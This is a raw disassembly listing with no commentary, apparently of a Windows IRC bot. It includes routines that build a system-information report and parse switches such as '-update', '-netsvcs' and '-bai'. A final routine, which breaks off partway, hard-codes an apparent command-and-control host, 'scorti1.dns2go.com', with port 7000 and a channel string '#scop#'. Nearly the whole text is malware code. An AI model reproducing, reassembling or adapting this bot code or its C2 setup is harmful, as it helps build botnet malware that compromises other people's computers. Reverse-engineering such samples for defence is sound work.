push edx
push eax
nop
call near ptr 2930E02h
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov eax, 804021h
push ebp
mul ecx
sub ecx, edx
mov eax, 804021h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_4017F3
push eax
lea ecx, [esp+1D4h+var_18C]
push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_401226
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_406890 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406BA0 proc near ; CODE XREF: sub_4015DCj
mov eax, ecx
mov dword ptr [eax], offset off_43E008
mov dword ptr [eax+110h], 0
retn
sub_406BA0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406BD0: ; CODE XREF: ___:00401F8Cj
push esi
mov esi, ecx
call sub_40143D
test byte ptr [esp+8], 1
jz short loc_406BE8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406BE8: ; CODE XREF: ___:00406BDDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C00 proc near ; CODE XREF: sub_40143Dj
mov dword ptr [ecx], offset off_43E008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_406C17
push ecx
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
locret_406C17: ; CODE XREF: sub_406C00+Ej
retn
sub_406C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406C30 proc near ; CODE XREF: sub_401384j
var_454 = byte ptr -454h
var_43C = byte ptr -43Ch
var_424 = byte ptr -424h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_406C30
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406C61
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_406C61: ; CODE XREF: sub_406C30+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_4367FA
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_4367FA
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, dword_50FAF4
mov eax, ecx
mov esi, edi
mov edi, edx
push offset asc_443600 ; " "
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp ; dword_50FAF4
add esp, 10h
mov [esp+464h+var_40C], eax
lea esi, [esp+464h+var_408]
mov edi, 0FFh
loc_406D12: ; CODE XREF: sub_406C30+F4j
push offset asc_443600 ; " "
push 0
call ebp ; dword_50FAF4
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_406D12
mov eax, [esp+464h+var_40C]
xor ecx, ecx
cmp eax, ecx
jz loc_406F18
lea ebp, [esp+464h+var_40C]
loc_406D38: ; CODE XREF: sub_406C30+2E0j
mov edi, [ebp+0]
mov esi, offset dword_4437EC
mov eax, edi
loc_406D42: ; CODE XREF: sub_406C30+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D66
test cl, cl
jz short loc_406D62
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D66
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D42
loc_406D62: ; CODE XREF: sub_406C30+11Cj
xor eax, eax
jmp short loc_406D6B
; ---------------------------------------------------------------------------
loc_406D66: ; CODE XREF: sub_406C30+118j
; sub_406C30+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406D6B: ; CODE XREF: sub_406C30+134j
test eax, eax
jz loc_406F08
mov esi, offset aUpdate ; "-update"
mov eax, edi
loc_406D7A: ; CODE XREF: sub_406C30+168j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406D9E
test cl, cl
jz short loc_406D9A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406D9E
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406D7A
loc_406D9A: ; CODE XREF: sub_406C30+154j
xor eax, eax
jmp short loc_406DA3
; ---------------------------------------------------------------------------
loc_406D9E: ; CODE XREF: sub_406C30+150j
; sub_406C30+15Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DA3: ; CODE XREF: sub_406C30+16Cj
test eax, eax
jnz short loc_406DB0
mov byte ptr [ebx+9], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DB0: ; CODE XREF: sub_406C30+175j
mov esi, offset aNetsvcs ; "-netsvcs"
mov eax, edi
loc_406DB7: ; CODE XREF: sub_406C30+1A5j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406DDB
test cl, cl
jz short loc_406DD7
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406DDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DB7
loc_406DD7: ; CODE XREF: sub_406C30+191j
xor eax, eax
jmp short loc_406DE0
; ---------------------------------------------------------------------------
loc_406DDB: ; CODE XREF: sub_406C30+18Dj
; sub_406C30+19Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406DE0: ; CODE XREF: sub_406C30+1A9j
test eax, eax
jnz short loc_406DED
mov byte ptr [ebx+0Ah], 1
jmp loc_406F08
; ---------------------------------------------------------------------------
loc_406DED: ; CODE XREF: sub_406C30+1B2j
mov esi, offset aBai ; "-bai"
mov eax, edi
loc_406DF4: ; CODE XREF: sub_406C30+1E2j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406E18
test cl, cl
jz short loc_406E14
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406E18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406DF4
loc_406E14: ; CODE XREF: sub_406C30+1CEj
xor eax, eax
jmp short loc_406E1D
; ---------------------------------------------------------------------------
loc_406E18: ; CODE XREF: sub_406C30+1CAj
; sub_406C30+1D8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406E1D: ; CODE XREF: sub_406C30+1E6j
test eax, eax
jnz loc_406F08
lea ecx, [esp+464h+var_454]
call sub_401424
mov eax, [esp+464h+arg_0]
push offset aBai ; "-bai"
push eax
mov [esp+46Ch+var_4], 0
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_406EF4
push eax
lea ecx, [esp+468h+var_454]
call sub_4015D7
push 1
push offset asc_443600 ; " "
lea ecx, [esp+46Ch+var_43C]
push 1
push ecx
lea ecx, [esp+474h+var_454]
call sub_4011EA
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+468h+var_4], 1
call sub_4012EE
lea ecx, [esp+464h+var_43C]
mov esi, eax
mov byte ptr [esp+464h+var_4], 0
call sub_401226
test esi, esi
jz short loc_406EF4
push 1
push offset asc_443600 ; " "
lea edx, [esp+46Ch+var_424]
push 1
push edx
lea ecx, [esp+474h+var_454]
mov byte ptr [ebx+0Bh], 1
call sub_4011EA
push 104h
mov ecx, eax
mov byte ptr [esp+468h+var_4], 2
call sub_401681
push eax
lea eax, [ebx+0Ch]
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
lea ecx, [esp+464h+var_424]
mov byte ptr [esp+464h+var_4], 0
call sub_401226
add ebp, 4
loc_406EF4: ; CODE XREF: sub_406C30+221j
; sub_406C30+271j
lea ecx, [esp+464h+var_454]
mov [esp+464h+var_4], 0FFFFFFFFh
call sub_401226
loc_406F08: ; CODE XREF: sub_406C30+13Dj
; sub_406C30+17Bj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_406D38
xor ecx, ecx
loc_406F18: ; CODE XREF: sub_406C30+FEj
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406F25
mov [ebx+5], ecx
loc_406F25: ; CODE XREF: sub_406C30+2F0j
cmp [ebx+5], ecx
jnz short loc_406F35
test al, al
jz short loc_406F35
mov dword ptr [ebx+5], 0Ah
loc_406F35: ; CODE XREF: sub_406C30+2F8j
; sub_406C30+2FCj
mov [ebx+5], ecx
mov ecx, [esp+458h+var_C]
mov byte ptr [ebx+4], 0
pop ebx
mov large fs:0, ecx
add esp, 454h
retn 4
sub_406C30 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0D0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407030 proc near ; CODE XREF: sub_40209Fj
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407030
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea eax, [esp+18h+var_11]
lea ecx, [esi+32h]
push eax
mov [esp+1Ch+var_4], 0
call sub_401564
mov ecx, [esp+18h+var_C]
mov dword ptr [esi], offset off_43E00C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_407030 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070B0 proc near ; CODE XREF: sub_401591j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_4015D7
mov edx, [esp+4+arg_0]
mov ecx, [esp+4+arg_8]
lea eax, [esp+4+arg_0]
mov [edx+2Ah], ecx
push eax
lea ecx, [esi+32h]
call sub_4014E2
pop esi
retn 0Ch
sub_4070B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4070F0 proc near ; CODE XREF: sub_401AF0j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esp+10h+var_8]
call sub_401AC3
add esi, 32h
lea eax, [esp+10h+var_4]
push eax
mov ecx, esi
call sub_401622
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jz short loc_40716B
mov edi, [esp+10h+arg_0]
loc_407133: ; CODE XREF: sub_4070F0+79j
push edi
lea ecx, [esp+14h+var_8]
call sub_40173F
mov ecx, [eax]
call sub_4012EE
test eax, eax
lea ecx, [esp+10h+var_8]
jz short loc_407175
call sub_401F0A
lea eax, [esp+10h+var_4]
mov ecx, esi
push eax
call sub_4021BC
push eax
lea ecx, [esp+14h+var_8]
call sub_40183E
test al, al
jnz short loc_407133
loc_40716B: ; CODE XREF: sub_4070F0+3Dj
pop edi
xor eax, eax
pop esi
add esp, 8
retn 8
; ---------------------------------------------------------------------------
loc_407175: ; CODE XREF: sub_4070F0+5Aj
call sub_40173F
mov eax, [eax]
pop edi
pop esi
add esp, 8
retn 8
sub_4070F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071C0 proc near ; CODE XREF: sub_4021F8j
xor al, al
retn 4
sub_4071C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4071E0 proc near ; CODE XREF: sub_401564j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40119F
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_4071E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407220 proc near ; CODE XREF: sub_401622j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401A82
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407220 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407260 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_402185
mov eax, esi
pop esi
retn 4
sub_407260 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407290 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4021BC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4013B6
pop esi
pop ecx
retn 4
sub_407290 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072D0 proc near ; CODE XREF: sub_401AC3j
push esi
mov esi, ecx
call sub_401B63
mov eax, esi
pop esi
retn
sub_4072D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4072F0 proc near ; CODE XREF: sub_40173Fj
mov eax, [ecx]
push eax
call sub_401208
add esp, 4
retn
sub_4072F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407310 proc near ; CODE XREF: sub_401F0Aj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401A82
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_407310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407340 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401FA0
neg al
sbb eax, eax
inc eax
retn 4
sub_407340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407370 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C8A
mov edi, eax
push edi
call sub_401C58
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40119F
push edi
mov ebx, eax
call sub_401C58
push edi
mov [eax], ebx
call sub_401C58
mov edi, [eax]
push edi
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [esp+1Ch+arg_8]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401208
add esp, 4
mov ecx, esi
push eax
call sub_401672
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+10h+arg_0]
mov ecx, esi
call sub_402185
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
sub_407370 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407410 proc near ; CODE XREF: sub_40119Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4019C9
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_407425
mov edi, esi
loc_407425: ; CODE XREF: sub_407410+11j
push esi
call sub_401A82
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_40743A
mov edi, esi
loc_40743A: ; CODE XREF: sub_407410+26j
push esi
call sub_401C58
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_407410 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407460 proc near ; CODE XREF: sub_401A82j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_407460 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407480 proc near ; CODE XREF: sub_401208j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_407480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074A0 proc near ; CODE XREF: sub_401B63j
mov eax, ecx
retn
sub_4074A0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074C0 proc near ; CODE XREF: sub_402185j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4011E5
mov eax, esi
pop esi
retn 4
sub_4074C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4074F0 proc near ; CODE XREF: sub_401FA0j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4074F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407520 proc near ; CODE XREF: sub_401C58j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_407520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407540 proc near ; CODE XREF: sub_4019C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_407540 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407570 proc near ; CODE XREF: sub_401672j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40109B
add esp, 8
retn 8
sub_407570 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075A0 proc near ; CODE XREF: sub_4011E5j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4075A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075C0 proc near ; CODE XREF: sub_401C8Aj
mov eax, [ecx]
retn
sub_4075C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4075E0 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4075EA
xor eax, eax
loc_4075EA: ; CODE XREF: sub_4075E0+6j
push eax
call sub_4367FA
add esp, 4
retn
sub_4075E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407610 proc near ; CODE XREF: sub_40109Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40762B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40762B: ; CODE XREF: sub_407610+11j
retn
sub_407610 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407640 proc near ; CODE XREF: sub_4011CCj
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
retn
sub_407640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_407660 proc near ; CODE XREF: sub_401B2Cj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_407660
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_4]
mov [esp+1Ch+var_4], 0
call sub_4017E4
push eax
mov eax, [esp+20h+arg_0]
push 0
push eax
mov ecx, offset word_448D06
call sub_401B5E
lea ecx, [esp+0Ch+arg_4]
mov [esp+0Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch+var_C]
mov large fs:0, ecx
add esp, 0Ch
retn 1Ch
sub_407660 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4076F0 proc near ; CODE XREF: sub_401CC1j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4076F0
push eax
mov large fs:0, esp
push 0
push 0
push 0
push 0
lea ecx, [esp+1Ch+arg_1C]
mov [esp+1Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+20h+arg_4]
call sub_4017E4
push eax
mov eax, [esp+24h+arg_0]
push eax
mov ecx, offset word_448D06
call sub_401B5E
lea ecx, [esp+0Ch+arg_4]
mov byte ptr [esp+0Ch+var_4], 0
call sub_401226
lea ecx, [esp+0Ch+arg_1C]
mov [esp+0Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch+var_C]
mov large fs:0, ecx
add esp, 0Ch
retn 34h
sub_4076F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_407790 proc near ; CODE XREF: sub_40121Cj
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_348 = byte ptr -348h
var_330 = byte ptr -330h
var_318 = byte ptr -318h
var_2F4 = byte ptr -2F4h
var_2DC = byte ptr -2DCh
var_2C4 = byte ptr -2C4h
var_2AC = byte ptr -2ACh
var_294 = byte ptr -294h
var_27C = byte ptr -27Ch
var_264 = byte ptr -264h
var_24C = byte ptr -24Ch
var_234 = byte ptr -234h
var_21C = byte ptr -21Ch
var_204 = byte ptr -204h
var_1EC = byte ptr -1ECh
var_1D4 = byte ptr -1D4h
var_1BC = byte ptr -1BCh
var_1A4 = byte ptr -1A4h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_15C = byte ptr -15Ch
var_144 = byte ptr -144h
var_12C = byte ptr -12Ch
var_114 = byte ptr -114h
var_FC = byte ptr -0FCh
var_E4 = byte ptr -0E4h
var_CC = byte ptr -0CCh
var_B4 = byte ptr -0B4h
var_9C = byte ptr -9Ch
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_407790
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 344h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+35Ch+var_174]
call sub_401424
lea ecx, [esp+35Ch+var_2DC]
mov [esp+35Ch+var_4], 0
call sub_401424
lea ecx, [esp+35Ch+var_1A4]
mov byte ptr [esp+35Ch+var_4], 1
call sub_401424
lea ecx, [esp+35Ch+var_1D4]
mov byte ptr [esp+35Ch+var_4], 2
call sub_401424
lea ecx, [esp+35Ch+var_2C4]
mov byte ptr [esp+35Ch+var_4], 3
call sub_401424
lea ecx, [esp+35Ch+var_2AC]
mov byte ptr [esp+35Ch+var_4], 4
call sub_401424
lea ecx, [esp+35Ch+var_204]
mov byte ptr [esp+35Ch+var_4], 5
call sub_401424
lea ecx, [esp+35Ch+var_234]
mov byte ptr [esp+35Ch+var_4], 6
call sub_401424
lea ecx, [esp+35Ch+var_2F4]
mov byte ptr [esp+35Ch+var_4], 7
call sub_401424
lea ecx, [esp+35Ch+var_24]
mov byte ptr [esp+35Ch+var_4], 8
call sub_401424
lea ecx, [esp+35Ch+var_54]
mov byte ptr [esp+35Ch+var_4], 9
call sub_401424
lea ecx, [esp+35Ch+var_84]
mov byte ptr [esp+35Ch+var_4], 0Ah
call sub_401424
lea ecx, [esp+35Ch+var_3C]
mov byte ptr [esp+35Ch+var_4], 0Bh
call sub_401424
lea ecx, [esp+35Ch+var_6C]
mov byte ptr [esp+35Ch+var_4], 0Ch
call sub_401424
lea ecx, [esp+35Ch+var_264]
mov byte ptr [esp+35Ch+var_4], 0Dh
call sub_401424
lea ecx, [esp+35Ch+var_27C]
mov byte ptr [esp+35Ch+var_4], 0Eh
call sub_401424
lea ecx, [esp+35Ch+var_15C]
mov byte ptr [esp+35Ch+var_4], 0Fh
call sub_401424
lea ecx, [esp+35Ch+var_114]
mov byte ptr [esp+35Ch+var_4], 10h
call sub_401424
lea ecx, [esp+35Ch+var_18C]
mov byte ptr [esp+35Ch+var_4], 11h
call sub_401424
mov byte ptr [esp+35Ch+var_4], 12h
lea ecx, [esp+35Ch+var_144]
call sub_401424
lea ecx, [esp+35Ch+var_1BC]
mov byte ptr [esp+35Ch+var_4], 13h
call sub_401424
lea ecx, [esp+35Ch+var_294]
mov byte ptr [esp+35Ch+var_4], 14h
call sub_401424
lea ecx, [esp+35Ch+var_1EC]
mov byte ptr [esp+35Ch+var_4], 15h
call sub_401424
lea ecx, [esp+35Ch+var_CC]
mov byte ptr [esp+35Ch+var_4], 16h
call sub_401424
lea ecx, [esp+35Ch+var_21C]
mov byte ptr [esp+35Ch+var_4], 17h
call sub_401424
lea ecx, [esp+35Ch+var_B4]
mov byte ptr [esp+35Ch+var_4], 18h
call sub_401424
lea ecx, [esp+35Ch+var_24C]
mov byte ptr [esp+35Ch+var_4], 19h
call sub_401424
lea ecx, [esp+35Ch+var_9C]
mov byte ptr [esp+35Ch+var_4], 1Ah
call sub_401424
lea ecx, [esp+35Ch+var_E4]
mov byte ptr [esp+35Ch+var_4], 1Bh
call sub_401424
lea ecx, [esp+35Ch+var_330]
mov byte ptr [esp+35Ch+var_4], 1Ch
call sub_401424
lea ecx, [esp+35Ch+var_318]
mov byte ptr [esp+35Ch+var_4], 1Dh
call sub_401424
mov bl, 1Eh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_174]
mov byte ptr [esp+360h+var_4], bl
call sub_401A87
push offset a7000 ; "7000"
lea ecx, [esp+360h+var_2DC]
call sub_401A87
push offset byte_446F60
lea ecx, [esp+360h+var_1BC]
call sub_401A87
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
lea ecx, [esp+360h+var_1A4]
call sub_401A87
lea eax, [esp+35Ch+var_2DC]
lea ecx, [esp+35Ch+var_1D4]
push eax
call sub_40200E
push offset byte_446F60
lea ecx, [esp+360h+var_294]
call sub_401A87
push offset aScop ; "#scop#"
lea ecx, [esp+360h+var_2C4]
call sub_401A87
push offset aS_1 ; "#s"
